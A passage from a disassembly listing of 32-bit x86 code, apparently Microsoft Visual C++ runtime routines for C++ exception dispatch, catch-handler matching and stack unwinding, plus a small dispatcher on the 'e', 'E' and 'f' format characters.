		add	esp, 14h
		mov	ecx, [eax+4]
		dec	ecx
		cmp	ds:dword_45EB7C, ecx
		setl	cl
		mov	ds:byte_45EB80,	cl
		mov	eax, [eax+4]
		dec	eax
		cmp	eax, 0FFFFFFFCh
		mov	ds:dword_45EB7C, eax
		jl	short loc_414C61
		cmp	eax, ebx
		jge	short loc_414C61
		test	cl, cl
		jz	short loc_414C52


loc_414C48:				; CODE XREF: sub_414BDB+72j
		mov	al, [esi]
		inc	esi
		test	al, al
		jnz	short loc_414C48
		and	[esi-2], al


loc_414C52:				; CODE XREF: sub_414BDB+6Bj
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_414C9D
		add	esp, 0Ch
		jmp	short loc_414C71
; ---------------------------------------------------------------------------


loc_414C61:				; CODE XREF: sub_414BDB+63j
					; sub_414BDB+67j
		push	[ebp+arg_C]
		push	ebx
		push	[ebp+arg_4]
		push	edi
		call	sub_414C76
		add	esp, 10h


loc_414C71:				; CODE XREF: sub_414BDB+84j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_414BDB	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C76	proc near		; CODE XREF: sub_414BDB+8Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	[esp+arg_C]
		mov	ds:byte_45EB78,	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_4149F9
		and	ds:byte_45EB78,	0
		add	esp, 10h
		retn
sub_414C76	endp


; =============== S U B	R O U T	I N E =======================================



sub_414C9D	proc near		; CODE XREF: sub_414BDB+7Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_8]
		mov	ds:byte_45EB78,	1
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_414AFD
		and	ds:byte_45EB78,	0
		add	esp, 0Ch
		retn
sub_414C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414CC0	proc near		; DATA XREF: sub_410C75o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 65h
		jz	short loc_414CFB
		cmp	[ebp+arg_8], 45h
		jz	short loc_414CFB
		cmp	[ebp+arg_8], 66h
		jnz	short loc_414CE8
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414AFD
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_414CE8:				; CODE XREF: sub_414CC0+13j
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_414BDB
		jmp	short loc_414D0C
; ---------------------------------------------------------------------------


loc_414CFB:				; CODE XREF: sub_414CC0+7j
					; sub_414CC0+Dj
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4149F9


loc_414D0C:				; CODE XREF: sub_414CC0+39j
		add	esp, 10h
		pop	ebp
		retn
sub_414CC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_414D11	proc near		; CODE XREF: sub_4149F9+2Cp
					; sub_414AFD+83p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		test	edi, edi
		jz	short loc_414D34
		push	esi
		mov	esi, [esp+8+arg_0]
		push	esi
		call	sub_410A70
		inc	eax
		push	eax
		push	esi
		add	esi, edi
		push	esi
		call	sub_4111B0
		add	esp, 10h
		pop	esi


loc_414D34:				; CODE XREF: sub_414D11+7j
		pop	edi
		retn
sub_414D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414D36	proc near		; CODE XREF: seg000:00410E58p
					; sub_410EC1+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_414D4C
		call	sub_4155D2


loc_414D4C:				; CODE XREF: sub_414D36+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_414D74
		cmp	dword ptr [esi+4], 0
		jz	short loc_414DCA
		cmp	[ebp+arg_14], 0
		jnz	short loc_414DCA
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_41507D
		add	esp, 10h
		jmp	short loc_414DCA
; ---------------------------------------------------------------------------


loc_414D74:				; CODE XREF: sub_414D36+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_414DCA
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_414DAE
		cmp	[eax+14h], edi
		jbe	short loc_414DAE
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_414DAE
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_414DCD
; ---------------------------------------------------------------------------


loc_414DAE:				; CODE XREF: sub_414D36+4Aj
					; sub_414D36+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_414DD1
		add	esp, 20h


loc_414DCA:				; CODE XREF: sub_414D36+23j
					; sub_414D36+29j ...
		push	1
		pop	eax


loc_414DCD:				; CODE XREF: sub_414D36+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_414D36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414DD1	proc near		; CODE XREF: sub_414D36+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_414DF1
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_414DF6


loc_414DF1:				; CODE XREF: sub_414DD1+16j
		call	sub_4155D2


loc_414DF6:				; CODE XREF: sub_414DD1+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_414F4D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_414E6A
		cmp	[esi+14h], edi
		jnz	short loc_414E6A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_414E6A
		mov	esi, ds:dword_45EB84
		test	esi, esi
		jz	loc_414F48
		mov	eax, ds:dword_45EB88
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_4188E4
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_414E4C
		call	sub_4155D2


loc_414E4C:				; CODE XREF: sub_414DD1+74j
		cmp	[esi], ebx
		jnz	loc_414F4D
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_414E6A
		cmp	[esi+14h], edi
		jnz	short loc_414E6A
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_414E6A
		call	sub_4155D2


loc_414E6A:				; CODE XREF: sub_414DD1+41j
					; sub_414DD1+46j ...
		cmp	[esi], ebx
		jnz	loc_414F4D
		cmp	dword ptr [esi+10h], 3
		jnz	loc_414F4D
		cmp	[esi+14h], edi
		jnz	loc_414F4D
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41100F
		add	esp, 14h
		mov	ebx, eax


loc_414EA1:				; CODE XREF: sub_414DD1+162j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_414F38
		cmp	[ebx], edi
		jg	short loc_414F2D
		cmp	edi, [ebx+4]
		jg	short loc_414F2D
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_414F2A


loc_414EC6:				; CODE XREF: sub_414DD1+131j
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_414EF7


loc_414ED8:				; CODE XREF: sub_414DD1+124j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_415020
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_414F06
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_414ED8


loc_414EF7:				; CODE XREF: sub_414DD1+105j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_414EC6
		jmp	short loc_414F2A
; ---------------------------------------------------------------------------


loc_414F06:				; CODE XREF: sub_414DD1+119j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_415131
		add	esp, 2Ch


loc_414F2A:				; CODE XREF: sub_414DD1+F3j
					; sub_414DD1+133j
		mov	edi, [ebp+var_10]


loc_414F2D:				; CODE XREF: sub_414DD1+DEj
					; sub_414DD1+E3j
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_414EA1
; ---------------------------------------------------------------------------


loc_414F38:				; CODE XREF: sub_414DD1+D6j
		cmp	[ebp+arg_14], 0
		jz	short loc_414F48
		push	1
		push	esi
		call	sub_4154A6
		pop	ecx
		pop	ecx


loc_414F48:				; CODE XREF: sub_414DD1+56j
					; sub_414DD1+16Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_414F4D:				; CODE XREF: sub_414DD1+37j
					; sub_414DD1+7Dj ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_414F73
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_414F78
		add	esp, 20h
		jmp	short loc_414F48
; ---------------------------------------------------------------------------


loc_414F73:				; CODE XREF: sub_414DD1+180j
		jmp	sub_41557C
sub_414DD1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414F78	proc near		; CODE XREF: sub_414DD1+198p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	ds:dword_45EB8C, 0
		push	esi
		push	edi
		jz	short loc_414FA9
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_410EE6
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41501C


loc_414FA9:				; CODE XREF: sub_414F78+Ej
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_41100F
		add	esp, 14h
		mov	esi, eax


loc_414FC5:				; CODE XREF: sub_414F78+A2j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_41501C
		cmp	edi, [esi]
		jl	short loc_415014
		cmp	edi, [esi+4]
		jg	short loc_415014
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_414FEE
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_415014


loc_414FEE:				; CODE XREF: sub_414F78+6Ej
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415131
		add	esp, 2Ch


loc_415014:				; CODE XREF: sub_414F78+57j
					; sub_414F78+5Cj ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_414FC5
; ---------------------------------------------------------------------------


loc_41501C:				; CODE XREF: sub_414F78+2Fj
					; sub_414F78+53j
		pop	edi
		pop	esi
		leave
		retn
sub_414F78	endp


; =============== S U B	R O U T	I N E =======================================



sub_415020	proc near		; CODE XREF: sub_414DD1+10Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_415077
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_415077
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_415051
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_4117C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415073


loc_415051:				; CODE XREF: sub_415020+1Fj
		test	byte ptr [esi],	2
		jz	short loc_41505B
		test	byte ptr [edi],	8
		jz	short loc_415073


loc_41505B:				; CODE XREF: sub_415020+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_41506A
		test	byte ptr [edi],	1
		jz	short loc_415073


loc_41506A:				; CODE XREF: sub_415020+43j
		test	al, 2
		jz	short loc_415077
		test	byte ptr [edi],	2
		jnz	short loc_415077


loc_415073:				; CODE XREF: sub_415020+2Fj
					; sub_415020+39j ...
		xor	eax, eax
		jmp	short loc_41507A
; ---------------------------------------------------------------------------


loc_415077:				; CODE XREF: sub_415020+Bj
					; sub_415020+14j ...
		push	1
		pop	eax


loc_41507A:				; CODE XREF: sub_415020+55j
		pop	edi
		pop	esi
		retn
sub_415020	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41507D	proc near		; CODE XREF: sub_414D36+34p
					; sub_415131+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C7F0
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_4150AF:				; CODE XREF: sub_41507D+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_415109
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4150BE
		cmp	esi, [edi+4]
		jl	short loc_4150C3


loc_4150BE:				; CODE XREF: sub_41507D+3Aj
		call	sub_4155D2


loc_4150C3:				; CODE XREF: sub_41507D+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_4150DE
		push	103h
		push	ebx
		push	eax
		call	sub_415530


loc_4150DE:				; CODE XREF: sub_41507D+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_4150FE
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_41511B
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_4150FE:				; CODE XREF: sub_41507D+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_4150AF
; ---------------------------------------------------------------------------


loc_415109:				; CODE XREF: sub_41507D+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41507D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41511B	proc near		; CODE XREF: sub_41507D+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_41512C
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41512C:				; CODE XREF: sub_41511B+Cj
		jmp	sub_41557C
sub_41511B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415131	proc near		; CODE XREF: sub_414DD1+151p
					; sub_414F78+94p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_415153
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_4152E2
		add	esp, 10h


loc_415153:				; CODE XREF: sub_415131+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_41515F
		push	edi
		jmp	short loc_415162
; ---------------------------------------------------------------------------


loc_41515F:				; CODE XREF: sub_415131+29j
		push	[ebp+arg_24]


loc_415162:				; CODE XREF: sub_415131+2Cj
		call	sub_410DE8
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_41507D
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_4151AC
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_4151A7
		push	edi
		push	eax
		call	sub_410DA6


loc_4151A7:				; CODE XREF: sub_415131+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_415131	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4151AC	proc near		; CODE XREF: sub_415131+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C800
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		mov	esi, [ebp+arg_4]
		mov	ecx, [esi-4]
		mov	[ebp+var_28], ecx
		mov	ecx, ds:dword_45EB84
		mov	[ebp+var_1C], ecx
		mov	ecx, ds:dword_45EB88
		mov	[ebp+var_20], ecx
		mov	edi, [ebp+arg_0]
		mov	ds:dword_45EB84, edi
		mov	ecx, [ebp+arg_8]
		mov	ds:dword_45EB88, ecx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	eax
		push	[ebp+arg_C]
		push	esi
		call	sub_410E6D
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_415272
		mov	eax, [ebp+var_2C]


loc_415239:				; CODE XREF: sub_415252+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4151AC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415248	proc near		; DATA XREF: seg001:0041C810o
		push	dword ptr [ebp-14h]
		call	sub_4152B8
		pop	ecx
		retn
sub_415248	endp


; =============== S U B	R O U T	I N E =======================================



sub_415252	proc near		; DATA XREF: seg001:0041C814o
		mov	esp, [ebp-18h]
		and	dword ptr [ebp-2Ch], 0
		push	0FFFFFFFFh
		lea	eax, [ebp-10h]
		push	eax
		call	sub_4110CE
		pop	ecx
		pop	ecx
		xor	eax, eax
		jmp	short loc_415239
sub_415252	endp

; ---------------------------------------------------------------------------


loc_41526A:				; DATA XREF: seg001:0041C808o
		xor	ebx, ebx
		mov	esi, [ebp+0Ch]
		mov	edi, [ebp+8]

; =============== S U B	R O U T	I N E =======================================



sub_415272	proc near		; CODE XREF: sub_4151AC+85p
		mov	eax, [ebp-28h]
		mov	[esi-4], eax
		mov	eax, [ebp-1Ch]
		mov	ds:dword_45EB84, eax
		mov	eax, [ebp-20h]
		mov	ds:dword_45EB88, eax
		cmp	dword ptr [edi], 0E06D7363h
		jnz	short locret_4152B7
		cmp	dword ptr [edi+10h], 3
		jnz	short locret_4152B7
		cmp	dword ptr [edi+14h], 19930520h
		jnz	short locret_4152B7
		cmp	[ebp-24h], ebx
		jnz	short locret_4152B7
		cmp	[ebp-2Ch], ebx
		jz	short locret_4152B7
		call	sub_411136
		push	eax
		push	edi
		call	sub_4154A6
		pop	ecx
		pop	ecx

locret_4152B7:				; CODE XREF: sub_415272+1Cj
					; sub_415272+22j ...
		retn
sub_415272	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152B8	proc near		; CODE XREF: sub_415248+3p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4152DF
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_4152DF
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_4152DF
		cmp	dword ptr [eax+1Ch], 0
		jnz	short loc_4152DF
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_4152DF:				; CODE XREF: sub_4152B8+Cj
					; sub_4152B8+12j ...
		xor	eax, eax
		retn
sub_4152B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152E2	proc near		; CODE XREF: sub_415131+1Ap

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C818
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ecx, [ebp+arg_8]
		mov	eax, [ecx+4]
		test	eax, eax
		jz	loc_41548B
		cmp	byte ptr [eax+8], 0
		jz	loc_41548B
		mov	eax, [ecx+8]
		test	eax, eax
		jz	loc_41548B
		mov	edx, [ebp+arg_4]
		lea	edi, [eax+edx+0Ch]
		and	[ebp+var_4], 0
		test	byte ptr [ecx],	8
		jz	short loc_41537F
		mov	esi, [ebp+arg_0]
		push	1
		push	dword ptr [esi+18h]
		call	sub_4188E4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415482
		push	1
		push	edi
		call	sub_418900
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415482
		mov	eax, [esi+18h]
		mov	[edi], eax
		mov	ecx, [ebp+arg_C]
		add	ecx, 8
		push	ecx


loc_415370:				; CODE XREF: sub_4152E2+F5j
		push	eax
		call	sub_41550D
		pop	ecx
		pop	ecx
		mov	[edi], eax
		jmp	loc_415487
; ---------------------------------------------------------------------------


loc_41537F:				; CODE XREF: sub_4152E2+57j
		mov	esi, [ebp+arg_C]
		test	byte ptr [esi],	1
		jz	short loc_4153D9
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		call	sub_4188E4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415482
		push	1
		push	edi
		call	sub_418900
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415482
		push	dword ptr [esi+14h]
		push	dword ptr [ebx+18h]
		push	edi
		call	sub_4111B0
		add	esp, 0Ch
		cmp	dword ptr [esi+14h], 4
		jnz	loc_415487
		mov	eax, [edi]
		test	eax, eax
		jz	loc_415487
		add	esi, 8
		push	esi
		jmp	short loc_415370
; ---------------------------------------------------------------------------


loc_4153D9:				; CODE XREF: sub_4152E2+A3j
		cmp	dword ptr [esi+18h], 0
		mov	ebx, [ebp+arg_0]
		push	1
		push	dword ptr [ebx+18h]
		jnz	short loc_415421
		call	sub_4188E4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_415482
		push	1
		push	edi
		call	sub_418900
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415482
		push	dword ptr [esi+14h]
		add	esi, 8
		push	esi
		push	dword ptr [ebx+18h]
		call	sub_41550D
		pop	ecx
		pop	ecx
		push	eax
		push	edi
		call	sub_4111B0
		add	esp, 0Ch
		jmp	short loc_415487
; ---------------------------------------------------------------------------


loc_415421:				; CODE XREF: sub_4152E2+103j
		call	sub_4188E4
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415482
		push	1
		push	edi
		call	sub_418900
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_415482
		push	dword ptr [esi+18h]
		call	sub_41891C
		pop	ecx
		test	eax, eax
		jz	short loc_415482
		test	byte ptr [esi],	4
		jz	short loc_415468
		push	1
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41550D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_410DE1
		jmp	short loc_415487
; ---------------------------------------------------------------------------


loc_415468:				; CODE XREF: sub_4152E2+168j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [ebx+18h]
		call	sub_41550D
		pop	ecx
		pop	ecx
		push	eax
		push	dword ptr [esi+18h]
		push	edi
		call	sub_410DDA
		jmp	short loc_415487
; ---------------------------------------------------------------------------


loc_415482:				; CODE XREF: sub_4152E2+6Aj
					; sub_4152E2+7Cj ...
		call	sub_4155D2


loc_415487:				; CODE XREF: sub_4152E2+98j
					; sub_4152E2+E1j ...
		or	[ebp+var_4], 0FFFFFFFFh


loc_41548B:				; CODE XREF: sub_4152E2+2Ej
					; sub_4152E2+38j ...
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4152E2	endp

; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		jmp	sub_41557C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154A6	proc near		; CODE XREF: sub_414DD1+170p
					; sub_415272+3Ep

var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41C828
		push	offset sub_417AAC
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jz	short loc_4154ED
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short loc_4154ED
		and	[ebp+var_4], 0
		push	ecx
